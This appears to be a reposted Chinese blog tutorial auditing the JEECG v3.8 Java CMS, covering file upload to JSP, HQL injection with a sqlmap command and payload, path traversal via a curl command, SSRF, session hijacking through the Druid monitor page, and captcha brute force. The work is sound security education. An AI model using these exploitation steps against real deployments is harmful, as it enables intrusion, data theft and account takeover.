当前位置:首页 > 编程笔记 > 正文
已解决

JAVA代码审计-cms综合篇

来自网友在路上 165865提问 提问时间:2023-11-03 15:42:47阅读次数: 65

最佳答案 问答题库658位专家为你答疑解惑

前言

JEECGv3.8。下载地址:GitHub - jeecgboot/jeecg at v3.8

java代码审计第一步:查看web.xml

一个重要的servlet:DispatcherServlet,

<servlet><description>spring mvc servlet</description><servlet-name>springMvc</servlet-name><servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class><init-param><description>spring mvc 配置文件</description><param-name>contextConfigLocation</param-name><param-value>classpath*:spring-mvc.xml</param-value></init-param><load-on-startup>1</load-on-startup>
</servlet><servlet-mapping><servlet-name>springMvc</servlet-name><url-pattern>*.do</url-pattern>
</servlet-mapping>
<servlet-mapping><servlet-name>springMvc</servlet-name><url-pattern>/rest/*</url-pattern>
</servlet-mapping>

        匹配规则: *.do或者/rest/* 引用的DispatcherServlet类调用controller处理,在Spring MVC中,访问Controller时使用后缀".do"的做法是一种传统的URL映射方式,通常称为后缀模式(suffix pattern)。使用.do后缀可以帮助区分请求是由Spring MVC处理的,而不是其他框架或者静态资源。这样可以提高代码的可维护性和灵活性,也能更好地组织和管理项目中的请求。此外,使用.do后缀还可以与其他技术栈进行集成和区分。例如,如果项目同时使用了Struts框架,可以将Spring MVC的请求配置为以.do后缀结尾,而将Struts的请求配置为以.action后缀结尾,这样就可以让两个框架共存,各自处理自己的请求。

文件上传漏洞

 定位到“org.jeecgframework.web.cgform.controller.upload.CgUploadController”类的“ajaxSaveFile”方法

@Controller
@RequestMapping("/cgUploadController")
public class CgUploadController extends BaseController {
...
@RequestMapping(params = "ajaxSaveFile")
@ResponseBody
public AjaxJson ajaxSaveFile(MultipartHttpServletRequest request) {AjaxJson ajaxJson = new AjaxJson();Map<String, Object> attributes = new HashMap<String, Object>();try {Map<String, MultipartFile> fileMap = request.getFileMap();String uploadbasepath = ResourceUtil.getConfigByName("uploadpath");// 文件数据库保存路径String path = uploadbasepath + "/";// 文件保存在硬盘的相对路径String realPath = request.getSession().getServletContext().getRealPath("/") + "/" + path;// 文件的硬盘真实路径realPath += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";path += DateUtils.getDataString(DateUtils.yyyyMMdd) + "/";File file = new File(realPath);if (!file.exists()) {file.mkdirs();// 创建文件时间子目录}if(fileMap != null && !fileMap.isEmpty()){for (Map.Entry<String, MultipartFile> entity : fileMap.entrySet()) {MultipartFile mf = entity.getValue();// 获取上传文件对象String fileName = mf.getOriginalFilename();// 获取文件名String swfName = PinyinUtil.getPinYinHeadChar(oConvertUtils.replaceBlank(FileUtils.getFilePrefix(fileName)));// 取文件名首字母作为SWF文件名String extend = FileUtils.getExtend(fileName);// 获取文件扩展名String noextfilename=DateUtils.getDataString(DateUtils.yyyymmddhhmmss)+StringUtil.random(8);//自定义文件名称String myfilename=noextfilename+"."+extend;//自定义文件名称String savePath = realPath + myfilename;// 文件保存全路径write2Disk(mf, extend, savePath);TSAttachment attachment = new TSAttachment();attachment.setId(UUID.randomUUID().toString().replace("-", ""));attachment.setAttachmenttitle(fileName.substring(0,fileName.lastIndexOf(".")));attachment.setCreatedate(new Timestamp(new Date().getTime()));attachment.setExtend(extend);attachment.setRealpath(path + myfilename);String globalSwfTransformFlag = ResourceUtil.getConfigByName("swf.transform.flag");if("true".equals(globalSwfTransformFlag) && !FileUtils.isPicture(extend)){attachment.setSwfpath( path + FileUtils.getFilePrefix(myfilename) + ".swf");SwfToolsUtil.convert2SWF(savePath);}systemService.save(attachment);attributes.put("url", path + myfilename);attributes.put("name", fileName);attributes.put("swfpath", attachment.getSwfpath());attributes.put("fileid", attachment.getId());}}ajaxJson.setAttributes(attributes);} catch (Exception e) {e.printStackTrace();ajaxJson.setSuccess(false);ajaxJson.setMsg(e.getMessage());}return ajaxJson;
}

 重点在于

String extend = FileUtils.getExtend(fileName);// 获取文件扩展名

String myfilename=noextfilename+"."+extend;//自定义文件名称

write2Disk(mf, extend, savePath);

其中mf可控,extend可控,savePath后缀名可控

跟进去 write2Disk(mf, extend, savePath);

private void write2Disk(MultipartFile mf, String extend, String savePath)throws IOException, UnsupportedEncodingException, FileNotFoundException {File savefile = new File(savePath);if("txt".equals(extend)){//利用utf-8字符集的固定首行隐藏编码原理//Unicode:FF FE   UTF-8:EF BB   byte[] allbytes = mf.getBytes();try{String head1 = toHexString(allbytes[0]);String head2 = toHexString(allbytes[1]);if("ef".equals(head1) && "bb".equals(head2)){//UTF-8String contents = new String(mf.getBytes(),"UTF-8");if(StringUtils.isNotBlank(contents)){OutputStream out = new FileOutputStream(savePath);out.write(contents.getBytes());out.close();}}  else {//GBKString contents = new String(mf.getBytes(),"GBK");OutputStream out = new FileOutputStream(savePath);out.write(contents.getBytes());out.close();}} catch(Exception e){String contents = new String(mf.getBytes(),"UTF-8");if(StringUtils.isNotBlank(contents)){OutputStream out = new FileOutputStream(savePath);out.write(contents.getBytes());out.close();}}} else {FileCopyUtils.copy(mf.getBytes(), savefile);}
}

首先exten的不会是txt故不进入相关语句,而是直接进入 FileCopyUtils.copy(mf.getBytes(), savefile);

漏洞利用:先根据注解,构造路径“/cgUploadController.do?ajaxSaveFile”,然后根据“ajaxSaveFile“方法构造数据包。

发送请求包 

 访问回显的上传后的地址

 现在将问extend改成jsp

sql注入

在“com.jeecg.demo.controller. JeecgFormDemoController类“中的“getAutocompleteData”方法,可以看到SQL语句时拼接而成的,而且也没有对“searchVal”参数进行过滤,造成SQL注入漏洞。

@RequestMapping(params = "getAutocompleteData",method ={RequestMethod.GET, RequestMethod.POST})
public void getAutocompleteData(HttpServletRequest request, HttpServletResponse response) {String searchVal = request.getParameter("q");String hql = "from TSUser where userName like '%"+searchVal+"%'";List autoList = systemService.findHql(hql);........

漏洞利用

sqlmap跑一下(注中like型注入)

python sqlmap.py -u "http://10.34.25.234:8081/jeecgFormDemoController.do?getAutocompleteData&q=1" --cookie="Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698498973,1698843635,1698848203,1698849657; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; JSESSIONID=F6648E2CD353B8129604C8477D1549CA; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698849665" --level=2 --risk=2

 q=1%' AND 4758=4758 AND 'nLxc%'='nLxc 【暂未想到更多利用方式】

任意文件读取

在“com.jeecg.demo.controller. JeecgFormDemoController”类下,“getImgByurl”方法。

@RequestMapping("/filedown")
public void getImgByurl(HttpServletResponse response,HttpServletRequest request) throws Exception{String dbpath = request.getParameter("filepath");if(oConvertUtils.isNotEmpty(dbpath)&&dbpath.endsWith(",")){dbpath = dbpath.substring(0, dbpath.length()-1);}response.setContentType("application/x-msdownload;charset=utf-8");String fileType = dbpath.substring(dbpath.lastIndexOf("."));String fileName=request.getParameter("filename")+fileType;String userAgent = request.getHeader("user-agent").toLowerCase();if (userAgent.contains("msie") || userAgent.contains("like gecko") ) {fileName = URLEncoder.encode(fileName, "UTF-8");}else {  fileName = new String(fileName.getBytes("UTF-8"), "iso-8859-1");  } response.setHeader("Content-disposition", "attachment; filename="+ fileName);InputStream inputStream = null;OutputStream outputStream=null;try {String localPath=ResourceUtil.getConfigByName("webUploadpath");String imgurl = localPath+"/"+dbpath;inputStream = new BufferedInputStream(new FileInputStream(imgurl));outputStream = response.getOutputStream();byte[] buf = new byte[1024];int len;while ((len = inputStream.read(buf)) > 0) {outputStream.write(buf, 0, len);}response.flushBuffer();} catch (Exception e) {logger.info("--通过流的方式获取文件异常--"+e.getMessage());}finally{if(inputStream!=null){inputStream.close();}if(outputStream!=null){outputStream.close();}}
}

关键代码在于

String dbpath = request.getParameter("filepath"); String imgurl = localPath+"/"+dbpath; inputStream = new BufferedInputStream(new FileInputStream(imgurl));

路径是拼接的方式

漏洞利用方式

curl -i http://127.0.0.1:8081/jeecgFormDemoController/filedown.do?filepath=../../../test/user.txt -H "Cookie: JSESSIONID=942EC68A6CD4D7188A7E0E30737D7347; Hm_lvt_098e6e84ab585bf0c2e6853604192b8b=1698886034; i18n_browser_Lang=zh-cn; JEECGINDEXSTYLE=fineui; ZINDEXNUMBER=1990; Hm_lpvt_098e6e84ab585bf0c2e6853604192b8b=1698886042"

SSRF漏洞

在“com.jeecg.demo.controller. JeecgFormDemoController”类下,“testInterface”方法。

@RequestMapping(params = "interfaceTest")
@ResponseBody
public AjaxJson testInterface(HttpServletRequest request,HttpServletResponse response) {AjaxJson j=new AjaxJson();try {String serverUrl = request.getParameter("serverUrl");//请求的地址String requestBody = request.getParameter("requestBody");//请求的参数String requestMethod = request.getParameter("requestMethod");//请求的方式if(requestMethod.equals("POST")){if(requestBody !=""){logger.info("----请求接口开始-----");JSONObject sendPost = HttpRequest.sendPost(serverUrl, requestBody);logger.info("----请求接口结束-----"+sendPost);j.setSuccess(true);j.setObj(sendPost.toJSONString());}else{j.setSuccess(false);j.setObj("请填写请求参数");}}if(requestMethod.equals("GET")){logger.info("----请求接口开始-----");JSONObject sendGet = HttpRequest.sendGet(serverUrl, requestBody);logger.info("----请求接口结束-----"+sendGet.toJSONString());j.setSuccess(true);j.setObj(sendGet);}} catch (Exception e) {j.setSuccess(false);j.setObj("服务器请求失败");e.printStackTrace();}return j;
}
绕过访问控制漏洞

有接口

<servlet><servlet-name>druidStatView</servlet-name><servlet-class>com.alibaba.druid.support.http.StatViewServlet</servlet-class>
</servlet>
<servlet-mapping><servlet-name>druidStatView</servlet-name><url-pattern>/webpage/system/druid/*</url-pattern>
</servlet-mapping>

访问接口

可以访问到用户的sessionid,可以把这个信息添加到我们的cookie中, 以下漏洞接口是需要登录后才能访问的。但现在我们增加了cookie的sess字段,故可以访问。

验证码暴力

对登录表单的验证码进行暴破

 如果短信验证码的逻辑也是这样,那是不是我们就可以用短信验证码登录或修改任意用户。

查看全文

99%的人还看了

猜你感兴趣

版权申明

本文"JAVA代码审计-cms综合篇":http://eshow365.cn/6-31160-0.html 内容来自互联网,请自行判断内容的正确性。如有侵权请联系我们,立即删除!